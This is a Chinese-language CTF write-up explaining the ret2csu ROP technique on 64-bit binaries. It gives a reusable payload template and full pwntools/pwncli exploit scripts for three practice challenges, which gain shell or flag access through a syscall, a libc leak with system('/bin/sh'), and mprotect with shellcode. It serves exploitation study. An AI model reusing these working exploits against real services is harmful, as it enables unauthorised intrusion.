原理 严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi
, rsi
, rdx
, rcx
, r8
, r9
)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。
这时,我们可以利用程序中的 __libc_csu_init
(高版本的gcc编译后已经没有了)函数,该函数主要用于初始化 libc,几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets,可以控制多个寄存器(例如 rbx
, rbp
, r12
, r13
, r14
, r15
以及 rdi
, rsi
, rdx
)的值,并最终 调用指定地址。因此,当我们劫持程序控制流时,可以跳转到 __libc_csu_init
函数,通过这段万能 gadgets 控制程序的行为。
我们将下面的 gadget 称为 gadget1 优先调用,上面的称为 gadget2 之后调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 400710 : 4 c 89 fa mov rdx, r15 400713 : 4 c 89 f6 mov rsi, r14 400716 : 44 89 ef mov edi, r13d 400719 : 41 ff 14 dc call qword ptr [r12 + 8 *rbx] 40071 d: 48 83 c3 01 add rbx, 0x1 400721 : 48 39 dd cmp rbp, rbx 400724 : 75 ea jne 0x400710 <__libc_csu_init+0x40 > 400726 : 48 83 c4 08 add rsp, 0x8 40072 a: 5b pop rbx 40072b : 5 d pop rbp 40072 c: 41 5 c pop r12 40072 e: 41 5 d pop r13 400730 : 41 5 e pop r14 400732 : 41 5f pop r15 400734 : c3 ret
这样的话
1 2 3 4 5 r13=rdx=arg3 r14=rsi=arg2 r15=edi=arg1 rbx=0 r12=call address
csu模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def csu (addr,edi,rsi,rdx,last ): payload=off*b'a' payload+=p64(gadget1) payload+=p64(0 )+p64(1 ) payload+=p64(addr) payload+=p64(rdx)+p64(rsi)+p64(edi) payload+=p64(gadget2) payload+=b'a' *56 payload+=p64(last) return payload
对csu模板的使用要分清情况
末尾的padding('a'*56
)是我们在没有进行jne
跳转,程序向下执行到add rsp,0x8
的时候这些需要进行栈平衡的数据。
如果我们只需要调用一个函数就不需要添加后面的padding和last,如果我们还需要调用一个地址就需要添加。
例题 [NewStarCTF 公开赛赛道]ret2csu1 #ret2syscall
查保护
拿到程序,先查保护。
发现开启了NX保护和Partial RELRO保护。
ida分析
输出两串字符串,并向栈中写入0x70长度的数据。
根据栈宽度比较,判断存在栈溢出。
gdb测一下,判断溢出填充长度为40。
字符串列表,发现/bin/cat和/flag关键字符串,但并没有发现system函数
函数窗口发现关键函数ohMyBackdoor,判断可能为后门函数。
发现关键汇编指令syscall
,以及设置rax
值为0x3b的mov rax,0x3b
指令。
利用思路
根据题目名称中的ret2csu判断为ret2csu打法,并且判断是通过ret2csu打syscall。
我们需要通过执行libc_csu_init
函数来设置寄存器值,并不需要函数执行完毕,所以我们不需要从add rsp,8
开始执行。
通过libc_csu_init
函数设置寄存器值,并且触发中断。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf off=40 gadget1=0x40072a gadget2=0x400710 syscall=0x601068 cat=0x4007bb flag=0x601050 payload=b'a' *off payload+=p64(gadget1)+p64(0 )+p64(0 )+p64(syscall)+p64(cat)+p64(flag)+p64(0 ) payload+=p64(gadget2) sa("it!\n" ,payload) ia()
[HNCTF 2022 WEEK2]ret2csu #ret2libc
查保护
没有栈溢出和PIE保护。
分析程序
发现vuln函数,进入查看
read函数向buf输入0x200个字节的数据,而buf为256字节,判断存在栈溢出。
利用思路
利用csu通过write函数泄露write的真实地址->泄露libc->获得system的真实地址
调用system
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwncli import * cli_script() set_remote_libc('libc.so.6' ) io: tube = gift.io elf: ELF = gift.elf libc=ELF("./libc.so.6" ) gadget1=0x4012aa gadget2=0x401290 off=264 write=elf.got.write pop_rdi=0x00000000004012b3 ret=0x000000000040101a def csu (rdi, rsi, rdx,r15, rbx=0 , rbp=1 ,last=elf.sym.vuln ): payload = p64(gadget1) payload += p64(rbx) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(r15) payload += p64(gadget2) payload += b'a' *56 payload += p64(last) return payload r() payload=b'a' *off+csu(rdi=1 ,rsi=write,rdx=0x20 ,r15=write) sl(payload) ru(b'Ok.\n' ) addr=u64(r(6 ).ljust(8 ,b'\x00' ))print ("write:" ,hex (addr)) base=addr-libc.sym.write sys=libc.sym.system+base sh=next (libc.search(b'/bin/sh\x00' ))+base payload=b'a' *off+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys) sla("Input:\n" ,payload) ia()
[NewStarCTF 公开赛赛道]ret2csu2 #ret2shellcode
查保护
发现没有栈溢出和PIE保护。
分析
两次输出,一次输入。输入长度超过缓冲区大小,判断存在栈溢出。
函数窗口发现关键函数
进入查看,发现mprotect。
格式化字符串窗口每发现什么有用的东西。
利用思路
根据题目名称,是要我们打csu,而且存在mprotect函数,所以到这里思路已经很明显了。
通过read函数读取rop链到bss段,之后将栈迁移到bss段执行rop链。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwncli import * cli_script() first_ebp=0x601020 + 0xf0 first_ret=0x4006E7 payload = b"a" *(0xf0 ) + p64(first_ebp) + p64(first_ret) ru("Remember to check it!" ) s(payload) mprotect_got=elf.got.mprotect leave_ret=0x400681 gadget1=0x40075A gadget2=0x400740 payload2=p64(gadget1)+p64(0 )+p64(1 )+ p64(mprotect_got)+p64(0x601000 )+p64(0x1000 )+p64(0x7 )+ p64(gadget2) shellcode = asm(shellcraft.sh()) payload2 += b"a" *(0x38 ) + p64(0x601020 +0x40 +0x38 +0x8 ) + shellcode + b"A" *(0xf0 -0x40 -0x38 -0x8 -0x30 ) + p64(0x601020 -0x8 ) + p64(leave_ret) sl(payload2) ia()